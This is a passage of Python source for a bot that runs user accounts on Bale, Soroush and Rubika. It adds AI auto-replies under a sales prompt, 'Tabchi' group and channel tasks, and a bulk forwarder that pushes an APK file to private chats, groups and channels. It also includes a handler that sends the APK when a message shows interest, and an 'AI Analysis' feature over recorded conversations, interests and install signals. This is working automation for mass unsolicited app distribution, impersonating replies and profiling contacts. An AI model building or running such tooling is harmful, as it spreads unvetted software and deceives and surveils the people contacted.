    if provider=="cerebras": headers["X-Cerebras-Version-Patch"]="2"
    last=None
    for model in models[:8]:
        body={"model":model,"messages":messages,"max_tokens":int(max_tokens)}
        if temperature is not None: body["temperature"]=temperature
        for remove_temp in (False,True):
            attempt=dict(body)
            if remove_temp: attempt.pop("temperature",None)
            try:
                async with self.session.post(base+"/chat/completions",headers=headers,json=attempt) as resp:
                    raw=await resp.text()
                    if resp.status>=400:
                        last=f"HTTP {resp.status}: {raw[:900]}"; continue
                    data=json.loads(raw)
                    choices=data.get("choices") or []
                    content=(choices[0].get("message") or {}).get("content") if choices else None
                    if content:
                        usage=data.get("usage") or {}
                        tokens=int(usage.get("total_tokens") or 0)
                        db.execute("UPDATE ai_providers SET status='working',model=?,last_test=?,last_error='' WHERE id=?",(model,now(),prov["id"]))
                        return content,tokens
                    out=data.get("output_text")
                    if out:
                        db.execute("UPDATE ai_providers SET status='working',model=?,last_test=?,last_error='' WHERE id=?",(model,now(),prov["id"]))
                        return str(out),int((data.get("usage") or {}).get("total_tokens") or 0)
            except Exception as exc:
                last=_mask(str(exc))
    db.execute("UPDATE ai_providers SET status='failed',error_count=error_count+1,last_error=? WHERE id=?",(str(last or "request failed")[:1500],prov["id"]))
    return None


async def _trx01_ai_chat(self,messages,uid=0,account_id=None,action_type="chat",temperature=0.7,max_tokens=600):
    await self.start()
    provs=self._load()
    if not provs: return None
    provs=sorted(provs,key=lambda p:(0 if p["status"]=="working" else 1 if p["status"]=="unknown" else 2,p["priority"],p["id"]))
    for prov in provs:
        result=await _trx01_ai_call_one(self,prov,messages,temperature,max_tokens)
        if result:
            content,tokens=result
            try:
                db.execute("INSERT INTO ai_usage(user_id,provider_id,account_id,action_type,tokens,success,created_at) VALUES(?,?,?,?,?,1,?)",(uid,prov["id"],account_id,action_type,tokens,now()))
            except Exception: pass
            return content
    return None


async def _trx01_ai_test(self,prov_id):
    await self.start()
    prov=db.fetchone("SELECT * FROM ai_providers WHERE id=?",(prov_id,))
    if not prov: return False,"provider not found"
    result=await _trx01_ai_call_one(self,prov,[{"role":"user","content":"Reply with exactly: OK"}],0.0,16)
    if result: return True,result[0]
    row=db.fetchone("SELECT last_error FROM ai_providers WHERE id=?",(prov_id,))
    return False,(row["last_error"] if row else "test failed")

AIProvider._call=_trx01_ai_call_one
AIProvider.chat=_trx01_ai_chat
AIProvider.test=_trx01_ai_test


# ───────────────────────────────────────────────────────────────────
# Callback dispatcher: the new flows are intercepted before legacy routes.
# ───────────────────────────────────────────────────────────────────
_TRX01_DISPATCH_BASE=dispatch_cb

async def _trx01_dispatch_cb(cb_id,uid,lang,u,chat_id,msg_id,data):
    try:
        _trx01_ensure_schema()
        s=state.get(uid)
        en=str(lang or "fa").lower().startswith("en")

        if s and s.get("state")=="trx01_task_minutes" and not str(data).startswith("time_pad:"):
            try: await bot.answer_cb(cb_id,"")
            except Exception: pass
            return True

        if str(data).startswith("time_pad:"):
            if not s or s.get("state")!="trx01_task_minutes":
                try: await bot.answer_cb(cb_id,"")
                except Exception: pass
                return True
            action=str(data).split(":",1)[1]
            current=_trx77_norm_digits(s.get("minutes",""))
            if action.isdigit() and len(action)==1:
                if len(current)>=3:
                    return await _edit(chat_id,msg_id,_trx01_minutes_text(lang,current,"حداکثر ۳ رقم می‌تونی وارد کنی." if not en else "Maximum 3 digits."),_trx01_minutes_kb(lang,current))
                new_value=current+action
                state.set(uid,"trx01_task_minutes",**{k:v for k,v in s.items() if k not in {"state","at","minutes"}},minutes=new_value)
                try: await bot.answer_cb(cb_id,"")
                except Exception: pass
                return await _edit(chat_id,msg_id,_trx01_minutes_text(lang,new_value),_trx01_minutes_kb(lang,new_value))
            if action=="backspace":
                new_value=current[:-1]
                state.set(uid,"trx01_task_minutes",**{k:v for k,v in s.items() if k not in {"state","at","minutes"}},minutes=new_value)
                try: await bot.answer_cb(cb_id,"")
                except Exception: pass
                return await _edit(chat_id,msg_id,_trx01_minutes_text(lang,new_value),_trx01_minutes_kb(lang,new_value))
            if action=="confirm":
                valid,minutes,error=_trx01_minutes_validation(current)
                if not valid:
                    try: await bot.answer_cb(cb_id,"")
                    except Exception: pass
                    return await _edit(chat_id,msg_id,_trx01_minutes_text(lang,current,error),_trx01_minutes_kb(lang,current))
                try: await bot.answer_cb(cb_id,"")
                except Exception: pass
                return await _trx01_finish_task_minutes(uid,lang,chat_id,msg_id,s,minutes)

        # Legacy/cached keyboards are routed into the new requested flows so
        # old Soroush/Tabchi/Channel/APK buttons cannot fall into the old broken path.
        if data.startswith("apk.setup.svc:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the target account.") if en else f"📱 اکانت هدف {_trx01_service_label(platform)} رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.apk_setup.account",platform,back="apk.setup"))

        if data.startswith("trx115.apk.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",_trx01_platform_only_kb(lang,"trx01.apk_setup.platform"))
            platform=str(row["service"]); state.set(uid,"trx01_apk_setup_link",platform=platform,target_account=str(aid),account_id=aid,flow_key=f"{uid}:{platform}:{aid}")
            prompt=trx_sc(f"Upload the APK in a {_trx01_service_label(platform,'en')} channel and send the direct post/message link.") if en else f"فایل APK رو داخل یک کانال {_trx01_service_label(platform)} آپلود کن و لینک مستقیم همون پست/پیام رو بفرست."
            return await _edit(chat_id,msg_id,prompt,IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data.startswith("trx115.group.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the account.") if en else "📱 اکانت رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.task.group.account",platform,back="ai.group"))

        if data.startswith("trx115.group.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            platform=str(row["service"]); state.set(uid,"trx01_task_target",task_kind="group",mode="group_task",account_id=aid,service=platform,platform=platform,flow_key=f"{uid}:{platform}:{aid}")
            return await _edit(chat_id,msg_id,trx_sc("🔗 Send the direct group link or @username.") if en else "🔗 لینک مستقیم گروه یا `@username` رو بفرست.",IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data.startswith("trx115.channel.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the account.") if en else "📱 اکانت رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.task.channel.account",platform,back="ai.channel"))

        if data.startswith("trx115.channel.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            platform=str(row["service"]); state.set(uid,"trx01_task_target",task_kind="channel",mode="channel_task",account_id=aid,service=platform,platform=platform,flow_key=f"{uid}:{platform}:{aid}")
            return await _edit(chat_id,msg_id,trx_sc("🔗 Send the public channel link or @username.") if en else "🔗 لینک عمومی چنل یا `@username` رو بفرست.",IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data=="ai.analysis":
            used=_trx01_analysis_quota(uid)
            remaining=max(0,TRX01_AI_ANALYSIS_DAILY_LIMIT-used)
            state.set(uid,"trx01_ai_analysis")
            text_value=(trx_sc(f"🔎 AI Analysis\n\nYou have {remaining} questions left today.\nSend one question about recorded activity, conversations, platforms, interests or install signals.") if en else f"🔎 **تحلیل AI**\n\nامروز **{remaining} سؤال** از ۳ سؤال باقی مونده.\nسؤالت رو درباره فعالیت ثبت‌شده، مکالمه‌ها، پلتفرم‌ها، علایق یا نشونه‌های نصب بفرست.")
            return await _edit(chat_id,msg_id,text_value,IKB([[(trx_sc("↩️ Back") if en else "↩️ بازگشت","ai")]]))

        if data=="ai.apk.send":
            return await _edit(chat_id,msg_id,trx_sc("📤 Send APK\n\nChoose the platform first.") if en else "📤 **ارسال APK**\n\nاول پلتفرم رو انتخاب کن.",_trx01_platform_only_kb(lang,"trx01.apk_send.platform"))

        if data.startswith("trx01.apk_send.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the target account.") if en else f"📱 اکانت هدف {_trx01_service_label(platform)} رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.apk_send.account",platform,back="ai.apk.send"))

        if data.startswith("trx01.apk_send.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",_trx01_platform_only_kb(lang,"trx01.apk_send.platform"))
            platform=str(row["service"]); flow_key=f"{uid}:{platform}:{aid}"
            state.set(uid,"trx01_apk_send_link",platform=platform,target_account=str(aid),account_id=aid,flow_key=flow_key)
            prompt=trx_sc("📎 Send the direct APK message link. The source file is not downloaded; only link/metadata is kept.") if en else "📎 لینک مستقیم همون پیام APK رو بفرست. فایل دانلود نمی‌شه؛ فقط لینک و مشخصاتش ذخیره می‌شه."
            return await _edit(chat_id,msg_id,prompt,IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data=="apk.setup":
            return await _edit(chat_id,msg_id,trx_sc("📦 APK Setup\n\nChoose the platform first.") if en else "📦 **تنظیم APK**\n\nاول پلتفرم رو انتخاب کن.",_trx01_platform_only_kb(lang,"trx01.apk_setup.platform"))

        if data.startswith("trx01.apk_setup.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the target account for this APK source.") if en else f"📱 اکانت هدف {_trx01_service_label(platform)} رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.apk_setup.account",platform,back="apk.setup"))

        if data.startswith("trx01.apk_setup.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",_trx01_platform_only_kb(lang,"trx01.apk_setup.platform"))
            platform=str(row["service"])
            state.set(uid,"trx01_apk_setup_link",platform=platform,target_account=str(aid),account_id=aid,flow_key=f"{uid}:{platform}:{aid}")
            prompt=trx_sc(f"Upload the APK in a {_trx01_service_label(platform,'en')} channel and send the direct post/message link.") if en else f"فایل APK رو داخل یک کانال {_trx01_service_label(platform)} آپلود کن و لینک مستقیم همون پست/پیام رو بفرست."
            return await _edit(chat_id,msg_id,prompt,IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data=="ai.group":
            return await _edit(chat_id,msg_id,trx_sc("📣 Tabchi\n\nChoose the platform first.") if en else "📣 **تبچی**\n\nاول پلتفرم رو انتخاب کن.",_trx01_platform_only_kb(lang,"trx01.task.group.platform"))

        if data.startswith("trx01.task.group.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the account.") if en else "📱 اکانت رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.task.group.account",platform,back="ai.group"))

        if data.startswith("trx01.task.group.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            try: await _ensure_ai_client(uid,aid)
            except Exception: pass
            state.set(uid,"trx01_task_target",task_kind="group",mode="group_task",account_id=aid,service=str(row["service"]),platform=str(row["service"]),flow_key=f"{uid}:{row['service']}:{aid}")
            return await _edit(chat_id,msg_id,trx_sc("🔗 Send the direct group link or @username.") if en else "🔗 لینک مستقیم گروه یا `@username` رو بفرست.",IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

        if data=="ai.channel":
            return await _edit(chat_id,msg_id,trx_sc("📰 Channel Activity\n\nChoose the platform first.") if en else "📰 **فعالیت چنل**\n\nاول پلتفرم رو انتخاب کن.",_trx01_platform_only_kb(lang,"trx01.task.channel.platform"))

        if data.startswith("trx01.task.channel.platform:"):
            platform=data.split(":",1)[1].lower()
            if platform not in {"bale","soroush","rubika"}: return True
            return await _edit(chat_id,msg_id,trx_sc("📱 Choose the account.") if en else "📱 اکانت رو انتخاب کن.",_trx01_account_kb(uid,lang,"trx01.task.channel.account",platform,back="ai.channel"))

        if data.startswith("trx01.task.channel.account:"):
            try: aid=int(data.split(":",1)[1])
            except Exception: return True
            row=db.fetchone("SELECT id,service FROM accounts WHERE id=? AND user_id=? AND enabled=1",(aid,uid))
            if not row: return await _edit(chat_id,msg_id,"❌ اکانت پیدا نشد",ai_advanced_menu(lang,uid))
            try: await _ensure_ai_client(uid,aid)
            except Exception: pass
            state.set(uid,"trx01_task_target",task_kind="channel",mode="channel_task",account_id=aid,service=str(row["service"]),platform=str(row["service"]),flow_key=f"{uid}:{row['service']}:{aid}")
            return await _edit(chat_id,msg_id,trx_sc("🔗 Send the public channel link or @username.") if en else "🔗 لینک عمومی چنل یا `@username` رو بفرست.",IKB([[(trx_sc("❌ Cancel") if en else "❌ لغو","cancel")]]))

    except Exception as exc:
        log.error(f"TRX01 dispatch error: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX01_DISPATCH_BASE(cb_id,uid,lang,u,chat_id,msg_id,data)

dispatch_cb=_trx01_dispatch_cb


# ───────────────────────────────────────────────────────────────────
# Message-state router for the requested flows
# ───────────────────────────────────────────────────────────────────
_TRX01_ON_MSG_BASE=on_msg

async def _trx01_on_msg(msg):
    try:
        _trx01_ensure_schema()
        from_=msg.get("from",{}) or {}
        uid=from_.get("id"); chat_id=msg.get("chat",{}).get("id")
        if not uid: return
        u=ensure_user(uid,from_.get("username",""),from_.get("first_name",""))
        lang=u["lang"] or "fa"; txt=(msg.get("text") or "").strip(); s=state.get(uid)
        if not s: return await _TRX01_ON_MSG_BASE(msg)

        # APMix wizard: select a model only from GET /v1/models for this exact key.
        if s.get("state")==State.ADD_PROVIDER_URL and s.get("step")=="url" and _trx77_apmix_like(s.get("provider_name"), txt):
            name=str(s.get("provider_name") or "APMix")
            ok,result_text=await _trx01_provider_finalize(uid,name,str(s.get("api_key") or ""),txt)
            state.pop(uid)
            return await bot.send(chat_id,result_text,reply_markup=admin_apis_menu(lang))

        if s.get("state")==State.ADD_PROVIDER_URL and s.get("step")=="model" and _trx77_apmix_like(s.get("provider_name"),s.get("base_url")):
            name=str(s.get("provider_name") or "APMix")
            ok,result_text=await _trx01_provider_finalize(uid,name,str(s.get("api_key") or ""),str(s.get("base_url") or "/skip"))
            state.pop(uid)
            return await bot.send(chat_id,result_text,reply_markup=admin_apis_menu(lang))

        if s.get("state")=="trx01_ai_analysis":
            if not txt: return await bot.send(chat_id,"سؤالت رو به صورت متن بفرست.")
            used=_trx01_analysis_quota(uid)
            if used>=TRX01_AI_ANALYSIS_DAILY_LIMIT:
                state.pop(uid)
                return await bot.send(chat_id,"سهمیه تحلیل AI امروزت تموم شده؛ فردا دوباره می‌تونی استفاده کنی.",reply_markup=ai_advanced_menu(lang,uid))
            ok,used_after=_trx01_take_analysis_slot(uid)
            if not ok:
                state.pop(uid)
                return await bot.send(chat_id,"سهمیه تحلیل AI امروزت تموم شده؛ فردا دوباره می‌تونی استفاده کنی.",reply_markup=ai_advanced_menu(lang,uid))
            try:
                answer=await _trx01_analysis_answer(uid,txt)
            except Exception as exc:
                answer=None; log.error(f"TRX01 analysis error: {_mask(str(exc))}")
            remaining=max(0,TRX01_AI_ANALYSIS_DAILY_LIMIT-used_after)
            if not answer:
                return await bot.send(chat_id,f"⚠️ تحلیل در حال حاضر پاسخ نداد. {remaining} سؤال دیگه باقی مونده.",reply_markup=ai_advanced_menu(lang,uid))
            if remaining>0:
                answer += f"\n\n🔢 سهمیه امروز: {remaining} سؤال باقی مونده."
            else:
                answer += "\n\n🔢 سهمیه امروزت تموم شد."; state.pop(uid)
            kb=IKB([[('↩️ بازگشت' if not str(lang).startswith('en') else '↩️ Back','ai')]]) if remaining>0 else ai_advanced_menu(lang,uid)
            return await bot.send(chat_id,_trx115_cleanup_caption(answer),reply_markup=kb)

        if s.get("state") in {"trx01_task_target","trx115_task_target"}:
            target=txt.strip()
            if not target: return await bot.send(chat_id,"لینک یا آیدی هدف رو بفرست.")
            aid=int(s["account_id"])
            valid,resolved,reason=await _trx115_validate_target_v14(uid,aid,target,s["task_kind"])
            if not valid: return await bot.send(chat_id,"❌ "+str(reason),reply_markup=IKB([[("❌ لغو","cancel")]]))
            next_data={k:v for k,v in s.items() if k not in {"state","at","minutes"}}
            next_data.update({"target":target,"resolved_target":str(resolved),"minutes":""})
            state.set(uid,"trx01_task_minutes",**next_data)
            return await bot.send(chat_id,_trx01_minutes_text(lang,""),reply_markup=_trx01_minutes_kb(lang,""))

        if s.get("state")=="trx01_task_minutes":
            return await bot.send(chat_id,_trx01_minutes_text(lang,s.get("minutes","")),reply_markup=_trx01_minutes_kb(lang,s.get("minutes","")))

        if s.get("state") in {"trx01_apk_setup_link","trx01_apk_send_link"}:
            platform=str(s.get("platform") or "").lower(); aid=int(s.get("account_id")); expected_key=f"{uid}:{platform}:{aid}"
            if s.get("flow_key")!=expected_key:
                state.pop(uid)
                return await bot.send(chat_id,"❌ این درخواست منقضی شده؛ از اول انتخاب کن.",reply_markup=ai_advanced_menu(lang,uid))
            if not txt: return await bot.send(chat_id,"لینک مستقیم پیام APK رو بفرست.")
            ok,info,row=await _trx01_save_apk_link(uid,aid,platform,txt)
            if not ok: return await bot.send(chat_id,"❌ "+str(info),reply_markup=IKB([[("❌ لغو","cancel")]]))
            log_event(uid,"TRX01_APK_LINK_RECEIVED",f"{platform}:{aid}:{txt[:300]}")
            if s.get("state")=="trx01_apk_send_link":
                report=await _trx01_bulk_forward_apk(uid,platform,aid,row)
                state.pop(uid)
                msg_text=(
                    f"✅ فایل APK برای {_trx01_service_label(platform)} / #{aid} فوروارد شد:\n\n"
                    f"· پیوی: {report['pv_sent']}\n"
                    f"· گروه/چنل: {report['group_channel_sent']}\n"
                    f"· قبلاً دریافت کرده بودن: {report['already']}\n"
                    f"· ناموفق: {report['failed']}"
                )
                return await bot.send(chat_id,msg_text,reply_markup=ai_advanced_menu(lang,uid))
            state.pop(uid)
            count=db.fetchone("SELECT COUNT(*) c FROM apk_files WHERE user_id=? AND enabled=1",(uid,))["c"]
            return await bot.send(chat_id,f"✅ لینک APK برای {_trx01_service_label(platform)} / #{aid} با موفقیت ثبت شد\n📦 {info}\n🔢 {count} APK فعال",reply_markup=_trx115_apk_panel_kb(uid,lang))
    except Exception as exc:
        log.error(f"TRX01 on_msg error: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")
    return await _TRX01_ON_MSG_BASE(msg)

on_msg=_trx01_on_msg


# ───────────────────────────────────────────────────────────────────
# Final live AI handler: 7s delay + APK intent + real native forward
# ───────────────────────────────────────────────────────────────────
async def _trx01_event_handler(event,uid,service,aid):
    try:
        client=ai_live_clients.get((uid,aid)) or await _ensure_ai_client(uid,aid)
        text_value=_trx77_event_text(event).strip()
        if not text_value or text_value.startswith("/trx"): return
        if getattr(event,"is_me",False) or getattr(event,"out",False): return
        _trx01_store_known_peer(uid,aid,service,event)
        private=_trx01_event_is_private(event); group=_trx_is_group_event(event)
        if group and not (_trx_event_is_reply(event) or _trx_event_mentions_me(event)): return
        key=(uid,aid,_trx_peer_key(event,f"{service}:{aid}")); lock=_trx_live_lock(key)
        async with lock:
            event_id=getattr(event,"id",None) or getattr(event,"message_id",None) or ""
            seen_key=f"TRX01:{key}:{event_id}:{text_value[:80]}"
            if seen_key in _TRX_LIVE_SEEN: return
            _TRX_LIVE_SEEN[seen_key]=time.time()
            if len(_TRX_LIVE_SEEN)>5000:
                cutoff=time.time()-3600
                for k,v in list(_TRX_LIVE_SEEN.items()):
                    if v<cutoff: _TRX_LIVE_SEEN.pop(k,None)
            await asyncio.sleep(TRX01_APK_DELAY_SECONDS)
            try: await _trx_maybe_mark_seen(client,event)
            except Exception: pass
            intent=_trx01_detect_intent(text_value); apk_row=_trx01_apk_for_account(uid,aid)
            if intent["apk"] and (private or group):
                if apk_row:
                    target=await _trx_event_chat_id(event)
                    ok,info=await _trx01_forward_source(uid,aid,target,int(apk_row["apk_id"]))
                    if ok:
                        desc=await _trx_ai_apk_description(uid,aid,apk_row) if "_trx_ai_apk_description" in globals() else None
                        if desc:
                            try: await _trx77_send_reply(client,event,desc[:1200])
                            except Exception: pass
                        peer_key=_trx_peer_key(event,f"{service}:{aid}")
                        _trx_memory_save(uid,aid,peer_key,"user",text_value)
                        _trx_memory_save(uid,aid,peer_key,"assistant","[APK forwarded]")
                        log_account_activity(aid,uid,"apk_forward",str(target),1)
                        return
                else:
                    try: await _trx77_send_reply(client,event,"این اکانت هنوز APK1 تنظیم‌شده نداره. اول از بخش تنظیم APK منبع رو ثبت کن.")
                    except Exception: pass
                    return

            binding=db.fetchone("SELECT * FROM ai_bindings WHERE user_id=? AND account_id=? AND enabled=1",(uid,aid))
            if not binding: return
            if private and not binding["auto_reply_pv"]: return
            if group and not binding["auto_reply_group"]: return
            peer_key=_trx_peer_key(event,f"{service}:{aid}"); memory=_trx_memory_load(uid,aid,peer_key,16)
            extra=f"Platform={service}. Intent={json.dumps(intent,ensure_ascii=False)}. Peer={peer_key}."
            messages=[{"role":"system","content":_trx01_sales_system(uid,aid,"private_reply" if private else "group_reply",extra)}]+memory+[{"role":"user","content":text_value[:2500]}]
            reply=await ai.chat(messages,uid=uid,account_id=aid,action_type="auto_reply",temperature=0.72,max_tokens=600)
            if not reply: return
            clean=_trx115_cleanup_caption(reply)
            if await _trx77_send_reply(client,event,clean):
                _trx_memory_save(uid,aid,peer_key,"user",text_value)
                _trx_memory_save(uid,aid,peer_key,"assistant",reply)
                log_account_activity(aid,uid,"ai_reply",str(peer_key)[:200],1)
            else:
                log_account_activity(aid,uid,"ai_reply",str(peer_key)[:200],0)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"TRX01 live handler {service}/{aid}: {_mask(str(exc))}\n{traceback.format_exc(limit=40)}")

_trx_event_handler=_trx01_event_handler
_trx_event_handler_v9=_trx01_event_handler
_trx_event_handler_v11=_trx01_event_handler
_trx115_event_handler_v14=_trx01_event_handler


# ───────────────────────────────────────────────────────────────────
# More robust Soroush/Bale registration; preserve Rubika adapters.
# ───────────────────────────────────────────────────────────────────
_TRX01_HANDLER_KEYS=set()

def _trx01_register_handler(client,uid,service,aid):
    key=(int(uid),int(aid),id(client))
    if key in _TRX01_HANDLER_KEYS: return True
    service=str(service or "").lower()
    async def handler(event):
        try: await _trx01_event_handler(event,int(uid),service,int(aid))
        except asyncio.CancelledError: raise
        except Exception as exc: log.error(f"TRX01 handler {service}/{aid}: {_mask(str(exc))}")

    if service in {"soroush","bale"}:
        try:
            module_name="splusthon" if service=="soroush" else "bale"
            module=__import__(module_name,fromlist=["events"])
            ev=getattr(module,"events",None); on=getattr(client,"on",None); new_message=getattr(ev,"NewMessage",None) if ev else None
            if on and new_message:
                deco=on(new_message)
                if callable(deco):
                    deco(handler); _TRX01_HANDLER_KEYS.add(key); return True
        except Exception as exc:
            log.warning(f"TRX01 {service} event registration failed: {_mask(str(exc))}")
    if service=="rubika":
        for name in ("on_message_updates","on_message"):
            try:
                fn=getattr(client,name,None)
                if not fn: continue
                for args in ((),(None,)):
                    try:
                        deco=fn(*args)
                        if callable(deco):
                            deco(handler); _TRX01_HANDLER_KEYS.add(key); return True
                    except TypeError: continue
            except Exception: pass
    try:
        add=getattr(client,"add_event_handler",None)
        if add:
            result=add(handler)
            if asyncio.iscoroutine(result):
                try: asyncio.get_running_loop().create_task(result)
                except Exception: pass
            _TRX01_HANDLER_KEYS.add(key); return True
    except Exception: pass
    return False


def _register_ai_handler(client,uid,service,account_id=None):
    aid=int(account_id or _account_id_for(uid,service) or 0)
    if not aid or client is None: return False
    ok=_trx01_register_handler(client,uid,service,aid)
    if ok:
        try: db.execute("UPDATE accounts SET status='online',last_activity=? WHERE id=?",(now(),aid))
        except Exception: pass
        _trx_task_create(_trx_start_live_runner(client,service,uid,aid))
    return ok


try:
    _trx01_ensure_schema()
except Exception:
    pass

print(f"[TRX01] REQUEST PATCH LOADED — build={TRX01_BUILD}")


# ================================================================
# TRX01 HOTFIX PATCH 2026-09-23-request-v1
# هدف: رفع گیر کردن state ها، پنل زمان، لینک عضویت اجباری و مسیرهای
# ادمین بدون حذف یا تغییر کد اصلی.
# ================================================================

# ---------------- PATCH 1: time_pad callback isolation ----------------
_TRX01_OLD_DISPATCH_CB_FINAL = dispatch_cb

async def dispatch_cb(cb_id, uid, lang, u, chat_id, msg_id, data):
    # time_pad باید قبل از زنجیره patch های قبلی مدیریت شود.
    if str(data).startswith("time_pad:"):
        try:
            s = state.get(uid)
            if not s or s.get("state") not in ("trx01_task_minutes", State.AI_GROUP_SPEED, "ai_task_minutes"):
                await bot.answer_cb(cb_id, "❌ این پنل منقضی شده است.", True)
                state.pop(uid)
                return

            action = str(data).split(":", 1)[1]
            value = str(s.get("minutes", ""))

            if action == "backspace":
                value = value[:-1]
                state.set(uid, s.get("state"), **{k:v for k,v in s.items() if k not in ("state","at","minutes")}, minutes=value)
                await _edit(chat_id, msg_id, _trx01_minutes_text(lang, value), _trx01_minutes_kb(lang, value))
                await bot.answer_cb(cb_id)
                return

            if action.isdigit():
                value = (value + action)[-3:]
                state.set(uid, s.get("state"), **{k:v for k,v in s.items() if k not in ("state","at","minutes")}, minutes=value)
                await _edit(chat_id, msg_id, _trx01_minutes_text(lang, value), _trx01_minutes_kb(lang, value))
                await bot.answer_cb(cb_id)
                return

            if action == "confirm":
                ok, minutes, err = _trx01_minutes_validation(value)
                if not ok:
                    await _edit(chat_id, msg_id, _trx01_minutes_text(lang, value, err), _trx01_minutes_kb(lang, value))
                    await bot.answer_cb(cb_id, err, True)
                    return
                try:
                    if not s.get("account_id") and not s.get("aid"):
                        state.pop(uid)
                        await bot.send(chat_id, "❌ منبع حساب برای ساخت تسک ثبت نشده است.", reply_markup=ai_advanced_menu(lang, uid))
                        await bot.answer_cb(cb_id)
                        return
                    await _trx01_finish_task_minutes(uid, lang, chat_id, msg_id, s, minutes)
                except Exception as exc:
                    log.error(f"TRX01 time confirm: {exc}")
                    state.pop(uid)
                    await bot.send(chat_id, "❌ خطا در ساخت تسک. دوباره از منوی AI شروع کنید.", reply_markup=ai_advanced_menu(lang, uid))
                await bot.answer_cb(cb_id)
                return
        except Exception as exc:
            log.error(f"TRX01 time_pad crash: {exc}")
            state.pop(uid)
            await bot.send(chat_id, "❌ پنل زمان منقضی شد.", reply_markup=ai_advanced_menu(lang, uid))
            await bot.answer_cb(cb_id)
            return

    if data == "cancel":
        state.pop(uid)
        try:
            await bot.answer_cb(cb_id, "لغو شد")
            return await bot.send(chat_id, "❌ عملیات لغو شد.", reply_markup=main_menu(lang, uid))
        except Exception:
            pass

    return await _TRX01_OLD_DISPATCH_CB_FINAL(cb_id, uid, lang, u, chat_id, msg_id, data)


# ---------------- PATCH 2: force join URL parser ----------------
def _trx01_force_parse_link(raw):
    from urllib.parse import urlparse
    value = str(raw or "").strip()
    try:
        p = urlparse(value)
        host = p.netloc.lower()
        path = [x for x in p.path.split("/") if x]
        if host in ("t.me", "telegram.me"):
            if path and path[0] not in ("joinchat",):
                return "telegram", "@" + path[0].lstrip("@")
            return "telegram_invite", value
        if "rubika.ir" in host:
            return "rubika", value
        if "splus.ir" in host:
            return "soroush", value
        if "ble.ir" in host:
            return "bale", value
    except Exception:
        pass
    return "telegram", value


_TRX01_OLD_ON_MSG_FINAL = on_msg

async def on_msg(msg):
    uid = msg.get("from", {}).get("id")
    if uid:
        s = state.get(uid)
        txt = (msg.get("text") or "").strip()

        # safe force join handling before old handler
        if s and s.get("state") == State.ADD_FORCE_CHANNEL and is_admin(uid):
            chat_id = msg.get("chat", {}).get("id", uid)
            lang = get_lang(uid)
            try:
                platform, value = _trx01_force_parse_link(txt)
                if platform != "telegram":
                    state.pop(uid)
                    return await bot.send(chat_id,
                        "❌ این پلتفرم فعلاً برای عضویت اجباری پشتیبانی نمی‌شود.",
                        reply_markup=admin_force_menu(lang))
                r = await bot.get_chat(value)
                if not r.get("ok"):
                    state.pop(uid)
                    return await bot.send(chat_id,
                        "❌ این کانال پیدا نشد یا ربات ادمینش نیست. اول ربات رو ادمین کانال کن، بعد دوباره امتحان کن.",
                        reply_markup=admin_force_menu(lang))
                ch = r.get("result", {})
                db.execute(
                    "INSERT OR REPLACE INTO force_join(channel_id,channel_title,invite_link,enabled,added_at) VALUES(?,?,?,?,?)",
                    (value, ch.get("title", value), ch.get("invite_link",""), 1, now())
                )
                state.pop(uid)
                return await bot.send(chat_id, "✅ کانال با موفقیت اضافه شد.",
